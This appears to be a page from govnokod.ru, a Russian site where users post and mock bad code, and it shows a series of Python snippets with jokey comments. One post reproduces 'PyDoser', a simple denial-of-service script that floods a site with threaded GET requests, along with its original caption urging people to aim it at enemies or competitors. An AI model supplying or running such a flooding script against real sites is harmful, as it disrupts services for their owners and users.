- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
# coding: inlinec
from inlinec import inlinec
@inlinec
def test():
#include<stdio.h>
void test() {
printf("Hello, world");
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+6
# coding: inlinec
from inlinec import inlinec
@inlinec
def test():
#include<stdio.h>
void test() {
printf("Hello, world");
}
https://www.opennet.ru/opennews/art.shtml?num=52306 - Inlinec - новый способ использования Си-кода в Python-скриптах
Сишные вставки в питоне
−1
g = {'А', 'Е', 'Ё', 'И', 'У', 'О', 'Я', 'Ы', 'Э', 'Ю'}
s = input().split()
last = -1
start = -1
first = 0
f = 0
GL = 0
gl = 0
cnt = 0
el = s[0]
if len(s) == 1:
el = s[0]
for i in range(len(el)):
if el[i].isupper() and el[i] not in g:
print('ошибка')
exit()
if el[i].isupper() and f:
print('ошибка')
exit()
if el[i].upper() in g:
gl += 1
GL += 1
if el[i].isupper():
start = gl
f = 1
if gl and not f:
print('ошибка')
exit()
if start == -1:
print('не стихи')
exit()
if (start == 2 and gl == 3) \
or (start == 1 and gl == 2) \
or (start == 2 and gl == 2):
print('недостаточно информации')
exit()
last = -1
start = -1
first = 0
GL = 0
f = 0
gl = 0
cnt = 0
el = s[0]
while start == -1 and first < len(s):
el = s[first]
first += 1
for i in range(len(el)):
if el[i].isupper() and el[i] not in g:
print('ошибка')
exit()
if el[i].isupper() and f:
print('ошибка')
exit()
if el[i].upper() in g:
gl += 1
GL += 1
if el[i].isupper():
start = gl
gl = 0
f = 1
if gl and not f:
print('ошибка')
exit()
if start == -1:
print('не стихи')
exit()
cnt = gl
for k in range(first, len(s)):
el = s[k]
f = 0
gl = 0
cnt = cnt
for i in range(len(el)):
if el[i].upper() in g:
cnt += 1
gl += 1
GL += 1
if el[i].isupper() and el[i] not in g:
print('ошибка')
exit()
if el[i].isupper() and f:
print('ошибка')
exit()
if el[i].isupper():
if last == -1:
last = cnt
cnt = 0
elif cnt != last:
print('не стихи')
exit()
else:
cnt = 0
f = 1
if gl and not f:
print('ошибка')
exit()
if GL == 1:
print('не стихи')
exit()
if start > 3 or last > 3 or cnt > 2:
print('не стихи')
exit()
if start == 1:
if last == 2 and cnt < last:
print('хорей')
elif (last == 3 or last == -1) \
and cnt < 3:
print('дактиль')
else:
print('не стихи')
elif start == 2:
if (last == 2 and cnt < last) \
or last == -1:
print('ямб')
elif last == 3:
print('амфибрахий')
else:
print('не стихи')
elif start == 3 \
and (last == 3 or last == -1):
print('анапест')
else:
print('не стихи')
−1
https://twitter.com/indygreg/status/1218643088928698368
> If you care about low-latency processes (CLIs, frequently-called scripts in build systems, etc), you may want to avoid Python.
пацаны, оказывается питон не стоит использовать для реалтаймовых приложений, вы знали?
+1
# Python2
import sys
print sys.stderr, "Pol chasa ne mog ponyat kakoko huya nichego ne vivoditsya"
+1
_RE_DESCRIPTION_TAG_OPEN = re.compile(r'<p\s+class="description">'.encode('utf-8'))
_RE_DESCRIPTION_TAG_CLOSE = re.compile(r'</p>\s*<p\s+class="author">'.encode('utf-8'))
def replace_description_tag(content, new_tag):
content = _RE_DESCRIPTION_TAG_OPEN .sub(f'<{new_tag} class="description">'.encode('utf-8'), content)
return _RE_DESCRIPTION_TAG_CLOSE.sub(f'</{new_tag}><p class="author">'.encode('utf-8'), content)
Парсить HTML регулярками — нельзя. Но если HTML невалидный — то можно!
А дело в том, что ГК генерирует говно, которое пришлось фиксить таким вот диким образом, см. https://govnokod.ru/26373#comment522056.
+2
# Пример #1
class FastClass:
def do_stuff(self):
temp = self.value # это ускорит цикл
for i in range(10000):
... # Выполняем тут некие операции с `temp`
# Пример #2
import random
def fast_function():
r = random.random
for i in range(10000):
print(r()) # здесь вызов `r()` быстрее, чем был бы вызов random.random()
Забавно, что в статье под названием «Разработка чрезвычайно быстрых программ на Python» (https://habr.com/ru/company/ruvds/blog/483678) этот самый «Python» оказался обосран (ненамеренно) куда качественнее, чем в недавно обсуждённом высере (https://govnokod.ru/26050#comment517858).
Неужели конпелятор/интерпретатор «Питона» настолько туп, что не может самостоятельно провести вот эти вот микрооптимизации?
+4
# coding: utf8
import threading
import requests
banner = """
____________________________________________________
| |
| [--] Name: PyDoser |
| |
| [--] Created by: @c3berman |
| |
| [--] Telegram channel: @detectent |
| |
| [--] Version: 1.0.6 |
|____________________________________________________|
"""
print(banner)
def dos():
while True:
requests.get("http://example.com")
while True:
threading.Thread(target=dos).start()
Наткнулся на просторах "этих ваших интернетов" с следующей подписью:
"DDoS инструмент, который позволит вам наказать обидчиков, либо протестировать конкурентов) Вам нужно в коде изменить example com -> на свой сайт для атаки. Скоро опубликую IP DDoS Tool)"
−1
from random import random
from math import log
def championship(champions = 16):
space = ' '
count_of_laps = int(log(champions,2))
koef = [i for i in range(count_of_laps)]
nummer = 1
num_of_champions = []
for i in range(champions):
num_of_champions.append(nummer)
nummer += 2
value_of_champions = [("%.4f" % (random())) for i in range(champions)]
lap0 = []
for i in range(champions):
lap0.append([num_of_champions[i], value_of_champions[i], space*koef[0]])
koef.append(koef[-1]+1)
count_lap = 1
laps = []
for i in range(count_of_laps):
fighter1 = 0
fighter2 = 1
exec(f'lap{count_lap} = []')
while fighter2 <= eval(f'len(lap{count_lap - 1})'):
num_winner = (eval(f'lap{count_lap - 1}[{fighter1}][0]') + eval(f'lap{count_lap - 1}[{fighter2}][0]'))//2
value_winner = max(eval(f'lap{count_lap - 1}[{fighter1}][1]'), eval(f'lap{count_lap - 1}[{fighter2}][1]'))
probel = space*koef[i+1]
winner = [num_winner, value_winner, probel]
exec(f'lap{count_lap}.append({winner})')
fighter1 += 2
fighter2 += 2
count_lap += 1
laps = []
for i in range(count_of_laps+1):
exec(f'laps += lap{i}')
laps.sort()
for i in range(nummer-2):
print(laps[i][2] + str(laps[i][1]))
if __name__ == "__main__":
while True:
value = int(input('Write power of two: '))
print()
if (value & (value - 1)) == 0:
championship(value)
print()
else:
print('not power of two')
Прога воспроизводит турнир между цифрами от 0 до 1. Самое большое побеждает
0
"""ASCII art generator braille only.
To start, put this and the image (you need to rename it to input.jpg) in one folder.
The main problem of the algorithm:
Due to the fact that the 8 empty dots symbol and any other Braille symbol have different widths,
the picture may 'float'.
"""
from PIL import Image, ImageDraw
# Change scale of image.
scale = int(input('% of scale: ')) / 100
imgForScale = Image.open('input.jpg')
widthOldForScale, heightOldForScale = imgForScale.size
widthNewForScale, heightNewForScale = int(widthOldForScale * scale), int(heightOldForScale * scale)
scaleImg = imgForScale.resize((widthNewForScale, heightNewForScale), Image.ANTIALIAS)
scaleImg.save('inputScale.jpg')
# -------------
# Makes the image BW.
factor = int(input('factor: ')) # The more, the darker.
imgForBW = Image.open('inputScale.jpg')
draw = ImageDraw.Draw(imgForBW)
widthForBW, heightForBW = imgForBW.size
pix = imgForBW.load()
for i in range(widthForBW):
for j in range(heightForBW):
a = pix[i, j][0]
b = pix[i, j][1]
c = pix[i, j][2]
S = a + b + c
if S > (((255 + factor) * 3) // 2):
a, b, c = 255, 255, 255
else:
a, b, c = 0, 0, 0
draw.point((i, j), (a, b, c))
imgForBW.save("inputScaleBW.jpg")
# -------------
# The image should be divided by 2 horizontally, by 4 vertically. Otherwise, the extra pixels will be removed.
img = Image.open('inputScaleBW.jpg')
size = w, h = img.size
if (w % 2) == 0:
pass
else:
w -= 1
hCut = h % 4
if hCut == 0:
pass
else:
h -= hCut
# -------------
data = img.load()
yStart, yEnd = 0, 4
xStart, xEnd = 0, 2
valueOfPixNow = []
b = w // 2 # I don`t remember.
a = b - 1 # The same thing.
i = 0
while (yEnd <= h) and (xEnd <= w):
# Getting data from a image.
valueOfPixNow = []
for y in range(yStart, yEnd):
for x in range(xStart, xEnd):
if not ((230 <= data[x, y][0] <= 255) and (230 <= data[x, y][1] <= 255) and (230 <= data[x, y][2] <= 255)):
valueOfPixNow.append(1)
else:
valueOfPixNow.append(0)
# -------------------
# Convert data from image.
normalBinaryReversed = [valueOfPixNow[0], valueOfPixNow[2], valueOfPixNow[4], valueOfPixNow[1], valueOfPixNow[3],
valueOfPixNow[5], valueOfPixNow[6], valueOfPixNow[7]]
normalBinary = list(reversed(normalBinaryReversed))
strBinary = ''.join(map(str, normalBinary))
strHex = hex(int(strBinary, 2))
twoLastNum = strHex[2:]
if len(twoLastNum) == 1:
twoLastNum = '0' + twoLastNum
hexStrBraille = '28' + twoLastNum
decimalBraille = int(hexStrBraille, 16)
answer = chr(decimalBraille)
# -------------------
if i == a:
a += b
print(answer)
else:
print(answer, end='')
i += 1
if xEnd < w:
xStart += 2
xEnd += 2
else:
xStart = 0
xEnd = 2
yStart += 4
yEnd += 4
−2
def raboficate(sents: Sequence[Sequence[str]]) -> Sequence[str]:
RABOWORDS = (
('много', '.'),
('малость', '.'),
('зачем', '?')
)
sents_rab = []
for sent in sents:
raboword = random.choice(RABOWORDS)
sents_rab.append([raboword[0]] + sent + [raboword[1]])
return sents_rab
Массовое зомбирование сознания при помощи «Python».
https://github.com/gost-gk/raboscript
В помощь начинающим рабомантам и кобенаторам нашим отделом по датамайнингу бигдаты был надатамайнен, почищен и приведён к удобоваримому виду (все слова/знаки препинания разделены пробелами, мусор убран) самый длинный фанфик по «Mass Effect»: https://mega.nz/#!XdFyzahR!_rXcsCBWyyrnl69feQMpCi238ACNp euO-Zz9nn2E-FQ (сорок мегабайт отборной психозы!).
Также аналитическим отделом был найден пакет «pymorphy2», с помощью которого наши инженеры надеются довести рабоскрипт до идеала.